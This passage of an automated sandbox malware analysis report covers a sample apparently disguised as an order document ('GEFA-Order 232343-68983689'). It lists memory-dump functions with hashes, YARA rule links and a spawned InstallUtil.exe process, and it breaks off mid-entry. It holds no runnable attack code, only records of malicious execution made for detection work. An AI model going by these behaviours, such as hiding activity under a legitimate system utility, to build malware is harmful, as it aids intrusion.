Opcode Fuzzy Hash: f927025e310761f6efb5587bfb57f27df201dc465a5b0aba18e72383f2e4507d
Instruction Fuzzy Hash: D1D12935A04209CFCB54DF68C594AA9BBF2BF88351F6584A9E805AF362C735EC81CB50

Function 06F50040 Relevance: 2.6, Strings: 2, Instructions: 115COMMON

Download Yara Rule

Strings

(, xrefs: 06F501CC
5, xrefs: 06F5ACCB

Memory Dump Source

Source File: 00000000.00000002.1736118241.0000000006F50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f50000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID:
String ID: ($5
API String ID: 0-1850010575
Opcode ID: 2275b18dd10cd5c4d000931084c7968f6f4ec045d007630a4f3111d10b5427a1
Instruction ID: 3b04a18b0cbd89e976f6c376f23de80462e8fec7a2cf8c2d28b9deebd4167060
Opcode Fuzzy Hash: 2275b18dd10cd5c4d000931084c7968f6f4ec045d007630a4f3111d10b5427a1
Instruction Fuzzy Hash: E1511DB1D056588BEB2CCF2B8D157DAFAF3AFC9300F04C1FA994CA6254DB700A858E51

Function 06F10040 Relevance: 2.6, Strings: 2, Instructions: 101COMMON

Download Yara Rule

Strings

H, xrefs: 06F1013A
F, xrefs: 06F13381

Memory Dump Source

Source File: 00000000.00000002.1736016782.0000000006F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f10000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID:
String ID: F$H
API String ID: 0-45678692
Opcode ID: 6259058913e8193725ac7d9e5549731ff54e759329225054f378645d5d12b47a
Instruction ID: 2ffa7c9b8e4577d083c071667abdd4ffcc12e52f017b9d685e0c2ae63ba5b401
Opcode Fuzzy Hash: 6259058913e8193725ac7d9e5549731ff54e759329225054f378645d5d12b47a
Instruction Fuzzy Hash: 94412E71E05A188BEB58CF6B8D4469EFAF3AFC9341F54C1B9940CAA264EF3405869F01

Function 06D751D8 Relevance: 1.9, Strings: 1, Instructions: 611COMMON

Download Yara Rule

Strings

(bq, xrefs: 06D752A8

Memory Dump Source

Source File: 00000000.00000002.1735482960.0000000006D70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d70000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID:
String ID: (bq
API String ID: 0-149360118
Opcode ID: 01a367e68f8da93c07f3e8f15a21bcf6c249e22f64479ff59b558dfad8edeb6b
Instruction ID: 591f0d34140b9371df7dd93d55a83d0590d244131124782a4059123c9461aefe
Opcode Fuzzy Hash: 01a367e68f8da93c07f3e8f15a21bcf6c249e22f64479ff59b558dfad8edeb6b
Instruction Fuzzy Hash: 32326874E002168FCB99DF69D49466EFBF2FF88301F248529D55ADB341EB34A901CB92

Function 06F18E70 Relevance: 1.5, Strings: 1, Instructions: 240COMMON

Download Yara Rule

Strings

Te^q, xrefs: 06F18F06

Memory Dump Source

Source File: 00000000.00000002.1736016782.0000000006F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f10000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID:
String ID: Te^q
API String ID: 0-671973202
Opcode ID: 0d50f4c2043333c870208ff2272f5227961ce1456ef202b02537c067dd595960
Instruction ID: 907a029701e594e4aeab50887956e342fe9d0032386ffb81e4296bb67f51c5d7
Opcode Fuzzy Hash: 0d50f4c2043333c870208ff2272f5227961ce1456ef202b02537c067dd595960
Instruction Fuzzy Hash: 2FA13470E01218CFEB64CFAAD994B9DBBF2FB89340F109069D519AB311DBB05985CF80

Function 06F18E61 Relevance: 1.5, Strings: 1, Instructions: 237COMMON

Download Yara Rule

Strings

Te^q, xrefs: 06F18F06

Memory Dump Source

Source File: 00000000.00000002.1736016782.0000000006F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f10000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID:
String ID: Te^q
API String ID: 0-671973202
Opcode ID: b0b8fa5f265c2a870a40daff90efb5f1ef782546dc4b86f51751e8c4b8f2e559
Instruction ID: ac6d1edf0af36cd957e3564a07af65469bccfd8304757231a244542797c0939a
Opcode Fuzzy Hash: b0b8fa5f265c2a870a40daff90efb5f1ef782546dc4b86f51751e8c4b8f2e559
Instruction Fuzzy Hash: D3A10474E01218CFEB64CFAAD994B9DBBF2FB88340F109069D519AB354DB745985CF40

Function 06F50006 Relevance: 1.4, Strings: 1, Instructions: 136COMMON

Download Yara Rule

Strings

(, xrefs: 06F501CC

Memory Dump Source

Source File: 00000000.00000002.1736118241.0000000006F50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f50000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID:
String ID: (
API String ID: 0-3887548279
Opcode ID: e37e5541d5fb7734ac7b22b4ce4ce0c055c4457841b5373f3611a5dcf6f2bb83
Instruction ID: 060f840a6288be87078ab0813be766feadd7dd3736b4025f80c49f84418753a2
Opcode Fuzzy Hash: e37e5541d5fb7734ac7b22b4ce4ce0c055c4457841b5373f3611a5dcf6f2bb83
Instruction Fuzzy Hash: A9517171D056588FE719CF2B8D152CAFAF3AFC9300F09C1F6994CA6265EB740A868F51

Function 06F10006 Relevance: 1.4, Strings: 1, Instructions: 113COMMON

Download Yara Rule

Strings

H, xrefs: 06F1013A

Memory Dump Source

Source File: 00000000.00000002.1736016782.0000000006F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f10000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID:
String ID: H
API String ID: 0-2852464175
Opcode ID: 72494844fe63e76bff31c7f5fbbd685b6e94357003f936a11f11ad3f95761bc2
Instruction ID: a41bb29b74c97f3ee008109f316a2a982a98ab4ff94a16f731d2a52198f4fd3f
Opcode Fuzzy Hash: 72494844fe63e76bff31c7f5fbbd685b6e94357003f936a11f11ad3f95761bc2
Instruction Fuzzy Hash: F4418171D05B548FE759CF6B8C4059AFBF3AFC9201F18C1BA984CAB265EB3409468F51

Function 06D9600D Relevance: 1.3, Strings: 1, Instructions: 84COMMON

Download Yara Rule

Strings

), xrefs: 06D960FF

Memory Dump Source

Source File: 00000000.00000002.1735567654.0000000006D90000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d90000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID:
String ID: )
API String ID: 0-2427484129
Opcode ID: b4b32374bbb18968f108e153c2a9bd16670a003023fa9da6d4e303efdf71a49c
Instruction ID: 7b90f8ea219c73f242ad750925746a2383303a2569d3d2e9c256f93ddc2f73f0
Opcode Fuzzy Hash: b4b32374bbb18968f108e153c2a9bd16670a003023fa9da6d4e303efdf71a49c
Instruction Fuzzy Hash: 6F319E71E056589FEB59DF2B884519AFFF7AFC9300F18C5FAC44CAA225DA3009858F51

Function 06D96030 Relevance: 1.3, Strings: 1, Instructions: 83COMMON

Download Yara Rule

Strings

), xrefs: 06D960FF

Memory Dump Source

Source File: 00000000.00000002.1735567654.0000000006D90000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d90000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID:
String ID: )
API String ID: 0-2427484129
Opcode ID: 04702f1f9001a93154d228c01189ea13c22e58a069c08162b9c3b511e65ac15a
Instruction ID: e815ade0d69a6232e73faeb88a8c8f9533ce3d91dee40bb8e32736befec3000e
Opcode Fuzzy Hash: 04702f1f9001a93154d228c01189ea13c22e58a069c08162b9c3b511e65ac15a
Instruction Fuzzy Hash: 21319B71E056688FEB58DF6B8C4929AFBF7AFC9301F14C1BAC40CA6214DB3049858F50

Function 06D9B7B0 Relevance: .4, Instructions: 431COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1735567654.0000000006D90000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d90000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: afd2db17c59c3416e25f28857820f40003930a70f1eb97b549eb0a6976dbda7d
Instruction ID: de0961fb1aee74b8525c49e8b145c3126eb4164068c1ea86ca1794ab4df235c7
Opcode Fuzzy Hash: afd2db17c59c3416e25f28857820f40003930a70f1eb97b549eb0a6976dbda7d
Instruction Fuzzy Hash: A112B271E006189FDB54CFAAD98069EFBF2FF88304F24C16AD459AB219D734A946CF50

Function 0192CE7C Relevance: .3, Instructions: 264COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1715886937.0000000001920000.00000040.00000800.00020000.00000000.sdmp, Offset: 01920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1920000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a4a0e79b5d2428938e34e518126b0aa429806e66ba3c2eddacb958651e6e3063
Instruction ID: f6edbe053c27f3c82b9b658b025be2cbc70ccddb36c1f047b19d3fd31da70aa5
Opcode Fuzzy Hash: a4a0e79b5d2428938e34e518126b0aa429806e66ba3c2eddacb958651e6e3063
Instruction Fuzzy Hash: 76A17232E002168FCF15DFB9C8849DEBBB6FF85301B15456AE909BB259DB31E905CB50

Function 06D930C0 Relevance: .2, Instructions: 217COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1735567654.0000000006D90000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d90000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ca3f0ca4adb80f49190f2e9e8c4ade313b8741e28c700abc5863bd169f2b6126
Instruction ID: 0189b6b379b4f7320e056c1c27deaa716afc99e19a060240ba0d3da089d7c45f
Opcode Fuzzy Hash: ca3f0ca4adb80f49190f2e9e8c4ade313b8741e28c700abc5863bd169f2b6126
Instruction Fuzzy Hash: 9E91CDB4D05208CFEF84CFA9C9497EDBBF1EB4A304F15802AD419B7250D7798A45CBA5

Function 06D930B0 Relevance: .2, Instructions: 212COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1735567654.0000000006D90000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d90000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 60e2609c9e5b01639c93423cec1efce781740702191577efbc26e9ad32e3c53d
Instruction ID: 8fa455b1fab67ae06a77dc4bf7146731ef4cf66c1592b613f12e50a2dc2bdd67
Opcode Fuzzy Hash: 60e2609c9e5b01639c93423cec1efce781740702191577efbc26e9ad32e3c53d
Instruction Fuzzy Hash: 3991EEB4D05208CFEF84CFE9C5897EDBBF1AB4A304F15802AC419B7260D7788A44CBA5

Function 06EE5F51 Relevance: .2, Instructions: 209COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1735915925.0000000006EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ee0000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: af06ae66beeb369daa4bf67e7a66d0f72926c48cd762195a996a1ad1eef9e61e
Instruction ID: 2fd68b27f1cea90f4a015e2fe5e250d22f4b0f5e2b033c0d923dea0ec0be86e3
Opcode Fuzzy Hash: af06ae66beeb369daa4bf67e7a66d0f72926c48cd762195a996a1ad1eef9e61e
Instruction Fuzzy Hash: DC81F370E06218CFDB94DFA9E8887ADBBF2BB99304F109069D409A7251DB789985CF50

Function 06EE5F60 Relevance: .2, Instructions: 208COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1735915925.0000000006EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ee0000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e973c0c4e4617d12182f7b782d15e95a3beea374c6e1feb9a02f958097676d9
Instruction ID: 7f59d5b869b185ff65c16011270e4bab42225071552ddd15083cd2ab258a49dd
Opcode Fuzzy Hash: 4e973c0c4e4617d12182f7b782d15e95a3beea374c6e1feb9a02f958097676d9
Instruction Fuzzy Hash: FA81F470E06218CFDBA4DFA9E4887EDBBF2BB59304F109069D409A7251DB789945CF50

Function 06F51C82 Relevance: .1, Instructions: 127COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1736118241.0000000006F50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f50000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cd9b110a40faeada792e168f2a506aa9299dea9ecdd1b93e32040a3a3de7a697
Instruction ID: 381bb840d2c628a511005de69a2022f9745d667a24a2c2fbe3453a699671873a
Opcode Fuzzy Hash: cd9b110a40faeada792e168f2a506aa9299dea9ecdd1b93e32040a3a3de7a697
Instruction Fuzzy Hash: D851E4B5D412698FDB60DF55CA44BE9BBB2AB48304F15C8EAC90AB3250D7B16EC1CF41

Function 06D9B7A1 Relevance: .1, Instructions: 126COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1735567654.0000000006D90000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d90000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aab7a280a1f4051eb72e5647423479259f80e4720c4f6c44122bb9fbef358507
Instruction ID: 39683357de9e4b250f8d9440de9f132d912d8ac01d18efcd1883bd0137177cc3
Opcode Fuzzy Hash: aab7a280a1f4051eb72e5647423479259f80e4720c4f6c44122bb9fbef358507
Instruction Fuzzy Hash: 3C4156B1E016199BEB18CFABD94059EFBF3AFC8300F14C16AD958AB224EB3059458F54

Function 071D0040 Relevance: .1, Instructions: 103COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1736476977.00000000071D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 071D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_71d0000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2092b11197dcaa11efbacf1a2799dee4c95d44dccbf065f08c4e33120990fa9b
Instruction ID: 0ad66cdd2a17cd34dde9dc79107425860dd05ec8049a161ba602be981de3b4ef
Opcode Fuzzy Hash: 2092b11197dcaa11efbacf1a2799dee4c95d44dccbf065f08c4e33120990fa9b
Instruction Fuzzy Hash: 00410B70E05229CBDB28DF6AC8486DAB7F6FB89300F10C0EA940DA7654DB344E84CF51

Function 071D0006 Relevance: .1, Instructions: 83COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1736476977.00000000071D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 071D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_71d0000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 65cef7568a0410ebd17b70aac955631500391631cbc69cbdb3eceaca016f4d52
Instruction ID: 15c9c23612ef0b46c59c26a5bb66ffefc1675c957887843c3107a4d235c9ee00
Opcode Fuzzy Hash: 65cef7568a0410ebd17b70aac955631500391631cbc69cbdb3eceaca016f4d52
Instruction Fuzzy Hash: AC316FB1D09355CFE729CF2AC81429ABBF3AF89300F15C1EAD44CAA161DB340A85CF51

Function 06D94290 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1735567654.0000000006D90000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d90000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9d3184acbfc20db88f07ae08c7cbe4acda8ae406fc79b071dd3f5c56533a1e82
Instruction ID: 72361c9cea4a5b3dde2922d05ca02910c11d2b6a8789f01f2cdb580bc5cf395f
Opcode Fuzzy Hash: 9d3184acbfc20db88f07ae08c7cbe4acda8ae406fc79b071dd3f5c56533a1e82
Instruction Fuzzy Hash: 1121C671D056588BEB68CF6BD9442DDBAF3AFC9301F14C0AAD808AA215DB344A85CF50

Function 071E92D0 Relevance: 6.4, Strings: 5, Instructions: 156COMMON

Download Yara Rule

Strings

/, xrefs: 071E93DC
(o^q, xrefs: 071E99C5
(o^q, xrefs: 071E99DB
\s^q, xrefs: 071E99FB
(o^q, xrefs: 071E9BF8

Memory Dump Source

Source File: 00000000.00000002.1736476977.00000000071D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 071D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_71d0000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID:
String ID: (o^q$(o^q$(o^q$/$\s^q
API String ID: 0-412772520
Opcode ID: 08780a5fd26b8af0a2e4d52dcc0a2724dd167f751c22402c73d9f093bacab890
Instruction ID: 0ce97f732ecd2e6a0961a69f71d611a929805b7558a725ec8cec4c2084c88b1f
Opcode Fuzzy Hash: 08780a5fd26b8af0a2e4d52dcc0a2724dd167f751c22402c73d9f093bacab890
Instruction Fuzzy Hash: 9571E8B4E10629CFDB24CF65C944BEDB7B5BF89300F0085A6D519AB381DB706A84CF52

Function 06D72E20 Relevance: 5.2, Strings: 4, Instructions: 236COMMON

Download Yara Rule

Strings

(_^q, xrefs: 06D734DD
(_^q, xrefs: 06D73514
(_^q, xrefs: 06D734D3
(_^q, xrefs: 06D7354A

Memory Dump Source

Source File: 00000000.00000002.1735482960.0000000006D70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d70000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID:
String ID: (_^q$(_^q$(_^q$(_^q
API String ID: 0-2697572114
Opcode ID: b658844ee6670ca18d46761a0d6c429f5c38565a388dca3431fec38de21fa908
Instruction ID: 8f54886bd40983de99805a2be90500c26c05d6123ece4959afcea7c3a79f1e4d
Opcode Fuzzy Hash: b658844ee6670ca18d46761a0d6c429f5c38565a388dca3431fec38de21fa908
Instruction Fuzzy Hash: FC710174B013049FC704DF78D8548EE7BB6EF8A304B15856AE5069B361EB31DC46CBA2

Analysis Process: InstallUtil.exePID: 7548, Parent PID: 2580COMMON

Execution Graph

Execution Coverage:	10.9%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	19
Total number of Limit Nodes:	4

Executed Functions

Function 01389C62 Relevance: 2.8, Instructions: 2784COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1881658041.0000000001380000.00000040.00000800.00020000.00000000.sdmp, Offset: 01380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1380000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 30db03ec57021d0a18a71f6a11e0085925e31c3cca7e4de4ae8088144e1f97b5
Instruction ID: c5440f86f303c0b6232609840bbb3f6ea0e60f157797d722f23ec44617f2fa1d
Opcode Fuzzy Hash: 30db03ec57021d0a18a71f6a11e0085925e31c3cca7e4de4ae8088144e1f97b5
Instruction Fuzzy Hash: 0A53F831D10B1A8ADB11EB68C8845A9F7B1FF99300F55D79AE45877221EB70AAC4CF81

Function 0138CF28 Relevance: 2.3, Instructions: 2307COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1881658041.0000000001380000.00000040.00000800.00020000.00000000.sdmp, Offset: 01380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1380000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6ef01786d7940b67a7f703bc448babbedee82a11fbd3b069ab5df93678a43056
Instruction ID: 94a78faf136ba91b0cb14fa1d439e303c3a458b4fc4afba1d6b46ac69598c249
Opcode Fuzzy Hash: 6ef01786d7940b67a7f703bc448babbedee82a11fbd3b069ab5df93678a43056
Instruction Fuzzy Hash: 3A332D31D107198EDB11EF68C8806ADF7B1FF99304F15C79AE459A7221EB70AAC5CB81

Function 01384A60 Relevance: .3, Instructions: 266COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1881658041.0000000001380000.00000040.00000800.00020000.00000000.sdmp, Offset: 01380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1380000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c980f6fddd837d6a2b4536fb7ef9c46315fb83eeeb511b19191e41e0f6b1c591
Instruction ID: 19e56fd63d59dc18a482d653bb64784ffec5efed7d22173acc95bb67bddeed93
Opcode Fuzzy Hash: c980f6fddd837d6a2b4536fb7ef9c46315fb83eeeb511b19191e41e0f6b1c591
Instruction Fuzzy Hash: D9B17C70E0030A8FDF14DFA9D9817ADBBF2AF88318F148529D859E7794EB749845CB81

Function 01383E48 Relevance: .2, Instructions: 238COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1881658041.0000000001380000.00000040.00000800.00020000.00000000.sdmp, Offset: 01380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1380000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b6e4c1bd9a0292d891fb5042bdf87e80d551c754aa2e812d14ff98ed67e42a2a
Instruction ID: cc301312089481ae356676b31c7c1b59c38f6ef0b3f28379a57f79644546b9f4
Opcode Fuzzy Hash: b6e4c1bd9a0292d891fb5042bdf87e80d551c754aa2e812d14ff98ed67e42a2a
Instruction Fuzzy Hash: 8E9170B0E003099FDF14DFA9C88579EBBF2BF88718F148129E405A7794EB749846CB81

Function 01386EA1 Relevance: 2.6, Strings: 2, Instructions: 148
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

LR^q, xrefs: 01386ED6
LR^q, xrefs: 01386F5C

Memory Dump Source

Source File: 00000001.00000002.1881658041.0000000001380000.00000040.00000800.00020000.00000000.sdmp, Offset: 01380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1380000_InstallUtil.jbxd

Similarity

API ID:
String ID: LR^q$LR^q
API String ID: 0-4089051495
Opcode ID: 1e70b064a1012340c14f99e87cac84f64e535cd59242404b8133b82ac080152e
Instruction ID: 5729e2dded029c5c0f0adfedddedb8b756680efd0258abeac67e336b8644e516
Opcode Fuzzy Hash: 1e70b064a1012340c14f99e87cac84f64e535cd59242404b8133b82ac080152e
Instruction Fuzzy Hash: 8D51F670E003459FDB15EBB8C4557AE7BB2EF86308F20846AE405EB241DB75D847CB51

Function 064AE09E Relevance: 1.6, APIs: 1, Instructions: 137
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000001.00000002.1890193017.00000000064A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 064A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_64a0000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2f2e9dd30554b6be52c16ec58649d00403258186c14dc4c5373bcc613f2930cd
Instruction ID: 1c221c13846c0242349f8a572b02d90ad3732e4fb413115d38adc944e0146df1
Opcode Fuzzy Hash: 2f2e9dd30554b6be52c16ec58649d00403258186c14dc4c5373bcc613f2930cd
Instruction Fuzzy Hash: 884114B2D103559FCB04DF69D8006EABFF5AF99210F15856BE418E7381DB789885CBE0

Function 064AE178 Relevance: 1.6, APIs: 1, Instructions: 52
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalMemoryStatusEx.KERNELBASE(8B550550), ref: 064AE1DF

Memory Dump Source

Source File: 00000001.00000002.1890193017.00000000064A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 064A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_64a0000_InstallUtil.jbxd

Similarity

API ID: GlobalMemoryStatus
String ID:
API String ID: 1890195054-0
Opcode ID: 414e8b1aaaaf33546b5ce33ff55ec8f7fa9879b481353764089f7ddfb861fc83
Instruction ID: 97a936fcbe7ce441b2dd88b095891c47a25b83698b9db666b99391d2de411e8a
Opcode Fuzzy Hash: 414e8b1aaaaf33546b5ce33ff55ec8f7fa9879b481353764089f7ddfb861fc83
Instruction Fuzzy Hash: 1811F6B1C006599BCB10DF9AC545BDEFBF4EF48320F15816AD818B7241D778A944CFA5

Function 0138F48D Relevance: 1.4, Strings: 1, Instructions: 112COMMON

Download Yara Rule

Strings

PH^q, xrefs: 0138F5DB

Memory Dump Source

Source File: 00000001.00000002.1881658041.0000000001380000.00000040.00000800.00020000.00000000.sdmp, Offset: 01380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1380000_InstallUtil.jbxd

Similarity

API ID:
String ID: PH^q
API String ID: 0-2549759414
Opcode ID: 9fc995d1de5c45fbf3e2fb2cb9464f4be634a5c7acbdab197b46dcf47617a251
Instruction ID: 4fa8ff50519a1a45ef4b67f6a338ef1694bfba60e646c5e17a9c7a069f314f12
Opcode Fuzzy Hash: 9fc995d1de5c45fbf3e2fb2cb9464f4be634a5c7acbdab197b46dcf47617a251
Instruction Fuzzy Hash: B641F3307043058FDB16AB78C5646AE7BFAAF89308F244869D406DB385EF39DC42C7A1

Function 01386F40 Relevance: 1.3, Strings: 1, Instructions: 97COMMON

Download Yara Rule

Strings

LR^q, xrefs: 01386F5C

Memory Dump Source

Source File: 00000001.00000002.1881658041.0000000001380000.00000040.00000800.00020000.00000000.sdmp, Offset: 01380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1380000_InstallUtil.jbxd

Similarity

API ID:
String ID: LR^q
API String ID: 0-2625958711
Opcode ID: f6c6633c4d1b7b330ad825ccf2646108c45647ffced701c4a264f21ecb4daf4a
Instruction ID: 42d5ea8ffd0df1dabef841dd8651532a86922d594c530d84759b0548f34cd26c
Opcode Fuzzy Hash: f6c6633c4d1b7b330ad825ccf2646108c45647ffced701c4a264f21ecb4daf4a
Instruction Fuzzy Hash: 3B31A170E103098BDF25DFA9C84579EB7B6FF85718F60842AE405EB240EB70D846CB41

Function 01386B48 Relevance: 1.3, Strings: 1, Instructions: 92COMMON

Download Yara Rule

Strings

LR^q, xrefs: 01386B9F

Memory Dump Source

Source File: 00000001.00000002.1881658041.0000000001380000.00000040.00000800.00020000.00000000.sdmp, Offset: 01380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1380000_InstallUtil.jbxd

Similarity

API ID:
String ID: LR^q
API String ID: 0-2625958711
Opcode ID: 46c44040ef0abd66cc6534e2d87c987f927e252a3fb0d783353b437a2b398480
Instruction ID: 63f2bb7a96e0aeb0b1013a37f7bfbd3742277b3a65d91ab6b2acf1fe866cad26
Opcode Fuzzy Hash: 46c44040ef0abd66cc6534e2d87c987f927e252a3fb0d783353b437a2b398480
Instruction Fuzzy Hash: D83178706082A14FC706FB7CD4653EE3FF1EF96208F1449AAC045CB652DA28C846C392

Function 01387988 Relevance: .6, Instructions: 557COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1881658041.0000000001380000.00000040.00000800.00020000.00000000.sdmp, Offset: 01380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1380000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c6208b825556f7e7261ac63fe4b41df5c122fd277e819369c50dac5ab484d716
Instruction ID: 6ad77def7590d5948ffaae5bcc32bfdb209d7f66a2c6ef39d70cc0968deccb93
Opcode Fuzzy Hash: c6208b825556f7e7261ac63fe4b41df5c122fd277e819369c50dac5ab484d716
Instruction Fuzzy Hash: 421260707402169BCB16BB7CD49462D77A3FB89309B609D3AE406CB795CE39EC878790

Function 013893E4 Relevance: .4, Instructions: 364COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1881658041.0000000001380000.00000040.00000800.00020000.00000000.sdmp, Offset: 01380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1380000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: afd30ec03e8314b045699c48dc7ecde1ccaa6ce8dba95cc68dbc25d3e8378ff2
Instruction ID: 0d854a78ca945ad1f4a008be8ad3edb6a0f776d6264a36a9e384ce4d63de006f
Opcode Fuzzy Hash: afd30ec03e8314b045699c48dc7ecde1ccaa6ce8dba95cc68dbc25d3e8378ff2
Instruction Fuzzy Hash: 48D18D34A002059FDB15EF68D594BADBBB2EF88318F14846AE506EB355DB34DC42CB51

Function 01389760 Relevance: .4, Instructions: 356COMMON

Download Yara Rule

Memory Dump Source

